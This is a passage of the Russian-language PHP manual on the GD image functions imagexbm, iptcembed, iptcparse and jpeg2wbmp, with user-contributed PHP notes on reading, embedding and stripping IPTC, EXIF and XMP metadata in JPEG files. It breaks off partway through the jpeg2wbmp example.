    // '<' makes it read from the given file path
    // escapeshellarg() makes this safe to use with any path
    $compressed_png_content = shell_exec("pngquant --quality=$min_quality-$max_quality - < ".escapeshellarg(    $path_to_png_file));

    if (!$compressed_png_content) {
        throw new Exception("Conversion to compressed PNG failed. Is pngquant 1.8+ installed on the server?");
    }

    return $compressed_png_content;
}
?>

So for example when user is uploading a PNG file:

<?php

$read_from_path = $_FILE['file']['tmp_name'];
$save_to_path = "uploads/compressed_file.png";

$compressed_png_content = compress_png($read_from_path);
file_put_contents($save_to_path, $compressed_png_content);

// you don't need move_uploaded_file().

// and for webp:
imagewebp(imagecreatefrompng($read_from_path), $save_to_path + ".webp");
?>

And then you can use URL with .webp version in Chrome and browsers that send Accept: image/webp, and .png for the rest (and all will get small file!)


Вывод XBM изображения в браузер или файл

  • « imagewebp
  • iptcembed »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод XBM изображения в браузер или файл

imagexbm

(PHP 5, PHP 7, PHP 8)

imagexbm — Вывод XBM изображения в браузер или файл

Описание

imagexbm(GdImage $image, ?string $filename, ?int $foreground_color = null): bool

Вывод или сохранение в формате XBM изображения image.

Замечание: imagexbm() не использует дополнение, так что ширина изображения должна быть кратна 8. Это ограничение не накладывается с версий PHP 7.0.9.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

filename

Путь, по которому сохранять файл, заданный как строка (string) Если не установлено, или равно null, будет произведён прямой вывод необработанного потока изображения.

filename (без расширения .xbm) также используется как идентификатор C XBM, при этом символы, не являющиеся в текущей локали цифрами или буквами, заменяются на подчёркивание. Если filename задан как null, image будет использован для создания идентификатора C.

foreground_color

Можно задать цвет верхнего слоя. Цвет задаётся идентификатором созданным функцией imagecolorallocate(). По умолчанию цвет чёрный. Все остальные цвета интерпретируются как цвета подложки (background).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | foreground_color теперь допускает значение null.
8.0.0 | Четвёртый параметр, который не использовался, был удалён.

Примеры

Пример #1 Сохранение XBM файла

<?php
// Создание пустого изображения и добавление текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая текстовая строка', $text_color);

// Сохранение изображения
imagexbm($im, 'simpletext.xbm');

// Освобождение памяти
imagedestroy($im);
?>

Пример #2 Сохранение XBM файла с отличным цветом верхнего слоя

<?php
// Создание пустого изображения и добавление текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая текстовая строка', $text_color);

// Изменение цвета
$foreground_color = imagecolorallocate($im, 255, 0, 0);

// Сохранение изображения
imagexbm($im, NULL, $foreground_color);

// Освобождение памяти
imagedestroy($im);
?>

Примечания

User Contributed Notes

There are no user contributed notes for this page.


Встраивание двоичных IPTC данных в JPEG изображение

  • « imagexbm
  • iptcparse »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Встраивание двоичных IPTC данных в JPEG изображение

iptcembed

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcembed — Встраивание двоичных IPTC данных в JPEG изображение

Описание

iptcembed(string $iptc_data, string $filename, int $spool = 0): string|bool

Включает двоичные IPTC данные в JPEG изображение.

Список параметров

iptc_data

Данные.

filename

Путь к JPEG изображению.

spool

Если значение этого флага больше 2, то JPEG будет возвращён в виде строки. В противном случае, JPEG будет напечатан в STDOUT.

Возвращаемые значения

Если spool меньше 2, будет возвращён JPEG или false в случае возникновения ошибки. В противном случае true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Встраивание IPTC данных в JPEG

<?php

// iptc_make_tag() функция от Thies C. Arntzen
function iptc_make_tag($rec, $data, $value)
{
$length = strlen($value);
$retval = chr(0x1C) . chr($rec) . chr($data);

if($length < 0x8000)
{
$retval .= chr($length >> 8) . chr($length & 0xFF);
}
else
{
$retval .= chr(0x80) .
chr(0x04) .
chr(($length >> 24) & 0xFF) .
chr(($length >> 16) & 0xFF) .
chr(($length >> 8) & 0xFF) .
chr($length & 0xFF);
}

return $retval . $value;
}

// Путь к jpeg файлу
$path = './phplogo.jpg';

// установка IPTC тэгов
$iptc = array(
'2#120' => 'Тестовое изображение',
'2#116' => 'Copyright 2008-2009, The PHP Group'
);

// Преобразование IPTC тэгов в двоичный код
$data = '';

foreach($iptc as $tag => $string)
{
$tag = substr($tag, 2);
$data .= iptc_make_tag(2, $tag, $string);
}

// Встраивание IPTC данных
$content = iptcembed($data, $path);

// запись нового изображения в файл
$fp = fopen($path, "wb");
fwrite($fp, $content);
fclose($fp);
?>

Примечания

Замечание:

Этой функции не требуется библиотека GD.

User Contributed Notes

ebashkoff at gmail dot com 12-Dec-2013 03:05
The following code embeds both IPTC APP segment 13 and EXIF APP segment 1 data from a source file and embeds it into a destination file.  This overcomes the limitation where the iptcembed statement does not seem to embed EXIF data, only IPTC data.

function transferIptcExif2File($srcfile, $destfile) {
    // Function transfers EXIF (APP1) and IPTC (APP13) from $srcfile and adds it to $destfile
    // JPEG file has format 0xFFD8 + [APP0] + [APP1] + ... [APP15] + <image data> where [APPi] are optional
    // Segment APPi (where i=0x0 to 0xF) has format 0xFFEi + 0xMM + 0xLL + <data> (where 0xMM is
    //   most significant 8 bits of (strlen(<data>) + 2) and 0xLL is the least significant 8 bits
    //   of (strlen(<data>) + 2)

    if (file_exists($srcfile) && file_exists($destfile)) {
        $srcsize = @getimagesize($srcfile, $imageinfo);
        // Prepare EXIF data bytes from source file
        $exifdata = (is_array($imageinfo) && key_exists("APP1", $imageinfo)) ? $imageinfo['APP1'] : null;
        if ($exifdata) {
            $exiflength = strlen($exifdata) + 2;
            if ($exiflength > 0xFFFF) return false;
            // Construct EXIF segment
            $exifdata = chr(0xFF) . chr(0xE1) . chr(($exiflength >> 8) & 0xFF) . chr($exiflength & 0xFF) . $exifdata;
        }
        // Prepare IPTC data bytes from source file
        $iptcdata = (is_array($imageinfo) && key_exists("APP13", $imageinfo)) ? $imageinfo['APP13'] : null;
        if ($iptcdata) {
            $iptclength = strlen($iptcdata) + 2;
            if ($iptclength > 0xFFFF) return false;
            // Construct IPTC segment
            $iptcdata = chr(0xFF) . chr(0xED) . chr(($iptclength >> 8) & 0xFF) . chr($iptclength & 0xFF) . $iptcdata;
        }
        $destfilecontent = @file_get_contents($destfile);
        if (!$destfilecontent) return false;
        if (strlen($destfilecontent) > 0) {
            $destfilecontent = substr($destfilecontent, 2);
            $portiontoadd = chr(0xFF) . chr(0xD8);          // Variable accumulates new & original IPTC application segments
            $exifadded = !$exifdata;
            $iptcadded = !$iptcdata;

            while ((substr($destfilecontent, 0, 2) & 0xFFF0) === 0xFFE0) {
                $segmentlen = (substr($destfilecontent, 2, 2) & 0xFFFF);
                $iptcsegmentnumber = (substr($destfilecontent, 1, 1) & 0x0F);   // Last 4 bits of second byte is IPTC segment #
                if ($segmentlen <= 2) return false;
                $thisexistingsegment = substr($destfilecontent, 0, $segmentlen + 2);
                if ((1 <= $iptcsegmentnumber) && (!$exifadded)) {
                    $portiontoadd .= $exifdata;
                    $exifadded = true;
                    if (1 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                if ((13 <= $iptcsegmentnumber) && (!$iptcadded)) {
                    $portiontoadd .= $iptcdata;
                    $iptcadded = true;
                    if (13 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                $portiontoadd .= $thisexistingsegment;
                $destfilecontent = substr($destfilecontent, $segmentlen + 2);
            }
            if (!$exifadded) $portiontoadd .= $exifdata;  //  Add EXIF data if not added already
            if (!$iptcadded) $portiontoadd .= $iptcdata;  //  Add IPTC data if not added already
            $outputfile = fopen($destfile, 'w');
            if ($outputfile) return fwrite($outputfile, $portiontoadd . $destfilecontent); else return false;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
micheall at inthemdl dot net 29-May-2011 05:00
While using the class file noted below you'll notice setting an array of keywords with the set() function will not work.  Try this instead:
<?php
        function set($tag, $data) {
            if(is_array($data)){
                $c = count($data);
                for ($i=0; $i <$c; $i++){
                       $this->meta["2#$tag"][$i] = $data[$i];
                }
                $this->hasmeta=true;
            } else {
                $this->meta["2#$tag"]= Array( $data );
                $this->hasmeta=true;
            }
        }
?>
Jarek Milewski 22-Apr-2011 03:37
To remove all EXIF, XMP etc. tags from a jpeg file you need no resampling (which, by the way, may give you memory problems). It's just enough to recreate the image, presumably with 100% quality in order not to loose anything. The code is as simple as that:

<?php
    $img = imagecreatefromjpeg ($path);
    imagejpeg ($img, $path, 100);
    imagedestroy ($img);
?>
soporte at etic dot com dot mx 28-Mar-2011 06:50
I just found an error while trying to write several keywords (an array) with the binary function... please consider using the following:

<?php
function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                if(count($this->meta[$s])>1){
                    foreach ($this->meta[$s] as $row){
                        $iptc_new .= $this->iptc_maketag(2, $tag, $row);
                    }
                }else {
                    $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
                }
            }
            return $iptc_new;
        }
?>
Christoph Tavan 16-Dec-2010 03:30
For everybody having issues with unicode (UTF-8) text in IPTC fields, set the "Coded Character Set"-field in the envelop (1:90, see http://www.iptc.org/std/IIM/4.1/specification/IIMV4.1.pdf).

This can be accomplished by starting the $data-block with the following lines:

<?php
// These two lines ensure that UTF8-Encoding will work (set the 1:90 field in the envelop)
// @see http://cpanforum.com/threads/2114 for a hint
$utf8seq = chr(0x1b) . chr(0x25) . chr(0x47);
$length = strlen($utf8seq);
$data = chr(0x1C) . chr(1) . chr('090') . chr($length >> 8) . chr($length & 0xFF) . $utf8seq;
?>

After that you can continue like in the example:

<?php
foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}
?>
critto at o2 dot pl 14-Jul-2010 06:25
If you want just to copy the IPTC data, eg. at the thumbnail creation, you don't have to parse the binary IPTC data into array and back; just do this:

<?php
$fullFilePath='photo1.jpg';
$fullPathThumb = 'photo1thumb.jpg';
$imagesize        =    getImageSize($fullFilePath, $info);
if(isset($info['APP13'])){
    $content    =    iptcembed($info['APP13'], $fullPathThumb);
   @unlink($fullPathThumb);
   $fw = fopen($fullPathThumb, 'w');
   fwrite($fw, $content);
   fclose($fw);
}
?>
support at image-host-script dot com 22-Sep-2008 11:39
A class I recently wrote for manipulating IPTC data in an jpeg images. It does the job for editing exisiting data too, in easy manner. It is just a compilation of examples into single class.

<?

    /************************************************************\

        IPTC EASY 1.0 - IPTC data manipulator for JPEG images

        All reserved www.image-host-script.com

        Sep 15, 2008

    \************************************************************/

    DEFINE('IPTC_OBJECT_NAME', '005');
    DEFINE('IPTC_EDIT_STATUS', '007');
    DEFINE('IPTC_PRIORITY', '010');
    DEFINE('IPTC_CATEGORY', '015');
    DEFINE('IPTC_SUPPLEMENTAL_CATEGORY', '020');
    DEFINE('IPTC_FIXTURE_IDENTIFIER', '022');
    DEFINE('IPTC_KEYWORDS', '025');
    DEFINE('IPTC_RELEASE_DATE', '030');
    DEFINE('IPTC_RELEASE_TIME', '035');
    DEFINE('IPTC_SPECIAL_INSTRUCTIONS', '040');
    DEFINE('IPTC_REFERENCE_SERVICE', '045');
    DEFINE('IPTC_REFERENCE_DATE', '047');
    DEFINE('IPTC_REFERENCE_NUMBER', '050');
    DEFINE('IPTC_CREATED_DATE', '055');
    DEFINE('IPTC_CREATED_TIME', '060');
    DEFINE('IPTC_ORIGINATING_PROGRAM', '065');
    DEFINE('IPTC_PROGRAM_VERSION', '070');
    DEFINE('IPTC_OBJECT_CYCLE', '075');
    DEFINE('IPTC_BYLINE', '080');
    DEFINE('IPTC_BYLINE_TITLE', '085');
    DEFINE('IPTC_CITY', '090');
    DEFINE('IPTC_PROVINCE_STATE', '095');
    DEFINE('IPTC_COUNTRY_CODE', '100');
    DEFINE('IPTC_COUNTRY', '101');
    DEFINE('IPTC_ORIGINAL_TRANSMISSION_REFERENCE',     '103');
    DEFINE('IPTC_HEADLINE', '105');
    DEFINE('IPTC_CREDIT', '110');
    DEFINE('IPTC_SOURCE', '115');
    DEFINE('IPTC_COPYRIGHT_STRING', '116');
    DEFINE('IPTC_CAPTION', '120');
    DEFINE('IPTC_LOCAL_CAPTION', '121');

    class iptc {
        var $meta=Array();
        var $hasmeta=false;
        var $file=false;

        function iptc($filename) {
            $size = getimagesize($filename,$info);
            $this->hasmeta = isset($info["APP13"]);
            if($this->hasmeta)
                $this->meta = iptcparse ($info["APP13"]);
            $this->file = $filename;
        }
        function set($tag, $data) {
            $this->meta ["2#$tag"]= Array( $data );
            $this->hasmeta=true;
        }
        function get($tag) {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : false;
        }

        function dump() {
            print_r($this->meta);
        }
        function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
            }
            return $iptc_new;
        }
        function iptc_maketag($rec,$dat,$val) {
            $len = strlen($val);
            if ($len < 0x8000) {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr($len >> 8).
                   chr($len & 0xff).
                   $val;
            } else {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr(0x80).chr(0x04).
                   chr(($len >> 24) & 0xff).
                   chr(($len >> 16) & 0xff).
                   chr(($len >> 8 ) & 0xff).
                   chr(($len ) & 0xff).
                   $val;

            }
        }
        function write() {
            if(!function_exists('iptcembed')) return false;
            $mode = 0;
            $content = iptcembed($this->binary(), $this->file, $mode);
            $filename = $this->file;

            @unlink($filename); #delete if exists

            $fp = fopen($filename, "w");
            fwrite($fp, $content);
            fclose($fp);
        }

        #requires GD library installed
        function removeAllTags() {
            $this->hasmeta=false;
            $this->meta=Array();
            $img = imagecreatefromstring(implode(file($this->file)));
            @unlink($this->file); #delete if exists
            imagejpeg($img,$this->file,100);
        }
    };

?>

Example read copyright string:

$i = new iptc("test.jpg");
echo $i->get(IPTC_COPYRIGHT_STRING);

Update copyright statement:
$i = new iptc("test.jpg");
echo $i->set(IPTC_COPYRIGHT_STRING,"Here goes the new data");
$i->write();

NOTE1: Data may be anything, even a binary file. I have so far tested and embedded an MS-Excel file directly to jpeg and it worked just perfect.

NOTE2: The writing purpose, it uses GD Library.

Further imporvements / changes may be followed at www.image-host-script.com

I hope it helps.
Ali..
jb at ibbeck dot de 04-Oct-2007 07:40
If you have a file without any IPTC record, you can add a new, empty one by calling iptcembed with an empty string as first argument, like this:

$buffer = iptcembed("",$imagename,0);
$fp = fopen($imagename,"w");
fwrite($fp,$buffer);
fclose($fp);
Bryce Fisher 04-Jul-2007 09:55
In Thomas's wonderful code snippet below, the second parameter needs to be changed to "$filename", otherwise the script has no write the file. So the code should read:

<?php
//This function removes all header data from a JPG
function remove_XMP($image_in, $filename) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,$width, $height);
  imagejpeg($image_dest, $filename);
}
?>
muguran 13-May-2005 01:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com 09-Aug-2004 09:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at 30-May-2004 06:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at 06-May-2004 04:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net 20-Feb-2004 10:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//   $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net 19-Feb-2004 04:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
    $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
    $n_end += strlen ($xmp_end)-1; // last char of this block
    $endchar = $image [$n_str-1];
    if ($endchar == " ") {
      $endchar = "A";
    } else {
      $endchar = " ";
    }
    $xmp_len = $n_end-$n_str+1;
    $img_len = strlen ($image);
    $len = $img_len - $xmp_len;
    for ($i = $n_str; $i < $img_len; $i ++) {
      if ($i < $len) {
        $image [$i] = $image [$i+$xmp_len];
      } else {
        $image [$i] = $endchar;
      }
    }
    $image = rtrim ($image, $endchar);
    return true;
  } else {
    return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
    $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
    // chargement du fichier en m?moire
    $f_in = fopen ($filename_in, "rb");
    $img = fread ($f_in, $len_in);
    fclose ($f_in);
    // suppression du XMP de l'image
    if (XMP_remove_from_jpeg ($img)) {
      // enregistrement du fichier sur disque
      $f_out = fopen ($filename_out, "wb");
      fwrite ($f_out, $img, strlen ($img));
      fclose ($f_out);
    }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
rupix at rediffmail dot com 28-Jan-2002 04:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no 27-Jan-2002 03:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
      // Finds the IPTC numbers
      $tag = str_replace("2#", "", $s);
      // Creating the string
      $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                  return chr(0x1c).chr($rec).chr($dat).
                  chr($len >> 8).
                  chr($len & 0xff).
                  $val;
         else
                  return chr(0x1c).chr($rec).chr($dat).
                  chr(0x80).chr(0x04).
                  chr(($len >> 24) & 0xff).
                  chr(($len >> 16) & 0xff).
                  chr(($len >> 8 ) & 0xff).
                  chr(($len ) & 0xff).
                  $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption


Разбор двоичных IPTC данных на отдельные теги

  • « iptcembed
  • jpeg2wbmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Разбор двоичных IPTC данных на отдельные теги

iptcparse

(PHP 4, PHP 5, PHP 7, PHP 8)

iptcparse — Разбор двоичных IPTC данных на отдельные теги

Описание

iptcparse(string $iptc_block): array|false

Разбирает » IPTC данные на отдельные теги.

Список параметров

iptc_block

Двоичные данные IPTC.

Возвращаемые значения

Возвращает массив значений тегов, используя метки тегов в качестве индекса. Возвращает false в случае возникновения ошибки, а также если IPTC данные отсутствуют.

Примеры

Пример #1 iptcparse() используется совместно с getimagesize()

<?php
$size = getimagesize('./test.jpg', $info);
if(isset($info['APP13']))
{
$iptc = iptcparse($info['APP13']);
var_dump($iptc);
}
?>

Примечания

Замечание:

Этой функции не требуется библиотека GD.

User Contributed Notes

oli4 at gmx dot li 08-Nov-2017 10:54
Is there a way to sort by keyword???
thx for help

<?php
    $files = glob("*.*");
    for ($i=0; $i<count($files); $i++)
     {
       $image = $files[$i];
$supported_file = array('jpg',);
$ext = strtolower(pathinfo($image, PATHINFO_EXTENSION));

$img = basename($image);
$size = getimagesize($img, $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    $keyword0 = $iptc["2#025"][0];
    if($keyword0 == "") {$keyword0 = "";} else {$keyword0 = $keyword0;}
    $keywords = $keyword0;
}

if (in_array($ext, $supported_file)) {
           echo '
<div class="col-xs-12 col-sm-6 col-md-6 col-lg-4 col-xl-3 outerContent" id="theme"><a class="example-image-link" href="',$img,'" data-lightbox="example-set" data-title="'.$keywords.'"><div class="innerContent" style="background-image: url(',$img,')"></div></a></div>';
           $keywords = "" ;
           } else {
               continue;
           }
         }
?>
tomasz at trejderowski dot pl 05-Sep-2013 01:39
I've managed to update "pkrohn at daemonize dot com" array, after 12 years since initial publication.

If you want to change some of IPCT header-strings into something more human-readable, try to use array similar to this:

$iptcHeaderArray = array
(
    '2#005'=>'DocumentTitle',
    '2#010'=>'Urgency',
    '2#015'=>'Category',
    '2#020'=>'Subcategories',
    '2#040'=>'SpecialInstructions',
    '2#055'=>'CreationDate',
    '2#080'=>'AuthorByline',
    '2#085'=>'AuthorTitle',
    '2#090'=>'City',
    '2#095'=>'State',
    '2#101'=>'Country',
    '2#103'=>'OTR',
    '2#105'=>'Headline',
    '2#110'=>'Source',
    '2#115'=>'PhotoSource',
    '2#116'=>'Copyright',
    '2#120'=>'Caption',
    '2#122'=>'CaptionWriter'
);
www.peterdebruin.net 22-Jul-2011 01:12
Nowadays IPTC captions may be encoded in UTF-8.
In that case, IPTC tag CodedCharacterSet would be set to "ESC % G".
This tag has tag marker "1#090".
To decode such a caption into simple ISO-8859-1, you could use the following code:

<?php
$IPTC_Caption = "";
$size = getimagesize( $image_path, $info );
if (isset($info["APP13"])) {
    if($iptc = iptcparse( $info["APP13"] ) ) {
        $IPTC_Caption = str_replace( "\000", "", $iptc["2#120"][0] );
        if(isset($iptc["1#090"]) && $iptc["1#090"][0] == "\x1B%G")
            $IPTC_Caption = utf8_decode($IPTC_Caption);
    }
}
?>

Of course, this will only preserve ISO-8859-1 characters.
For proper Unicode support, you should convert UTF-8 byte sequences into HTML character entities, or encode the whole web page in UTF-8.
michael wells 03-Sep-2004 05:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
        return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com 09-Aug-2004 09:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
05-Feb-2004 11:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
    $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
        $iptc = iptcparse($info["APP13"]);
        foreach (array_keys($iptc) as $s) {
            $c = count ($iptc[$s]);
            for ($i=0; $i <$c; $i++)
            {
                echo $s.' = '.$iptc[$s][$i].'<br>';
            }
        }
    }
}
Scin 14-Oct-2002 03:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
    echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
    foreach($value as $innerkey => $innervalue)
    {
        if( ($innerkey+1) != count($value) )
            echo "$innervalue, ";
        else
            echo "$innervalue";
    }
}
25-Apr-2002 07:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];   (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com 15-Jul-2001 04:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]){
        if (is_array($iptc)) {
        $caption = $iptc["2#120"][0];
    $graphic_name = $iptc["2#005"][0];
        $urgency = $iptc["2#010"][0];
    $category = $iptc["2#015"][0];
    // note that sometimes supp_categories contans multiple entries
$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}


Конвертирует изображение из формата JPEG в WBMP

  • « iptcparse
  • png2wbmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Конвертирует изображение из формата JPEG в WBMP

jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

jpeg2wbmp — Конвертирует изображение из формата JPEG в WBMP

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

jpeg2wbmp(
string $jpegname,
string $wbmpname,
int $dest_height,
int $dest_width,
int $threshold
): bool

Конвертирует JPEG-файл в WBMP.

Список параметров

jpegname

Путь к JPEG-файлу.

wbmpname

Путь для размещения WBMP-файла.

dest_height

Высота WBMP-изображения.

dest_width

Ширина WBMP-изображения.

threshold

Пороговое значение, от 0 до 8 (включительно).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Примеры

Пример #1 Пример использования jpeg2wbmp()

<?php
// Путь к исходному jpeg-изображению
$path = './test.jpg';

// Получаем размеры изображения
$image = getimagesize($path);

// Конвертируем изображение
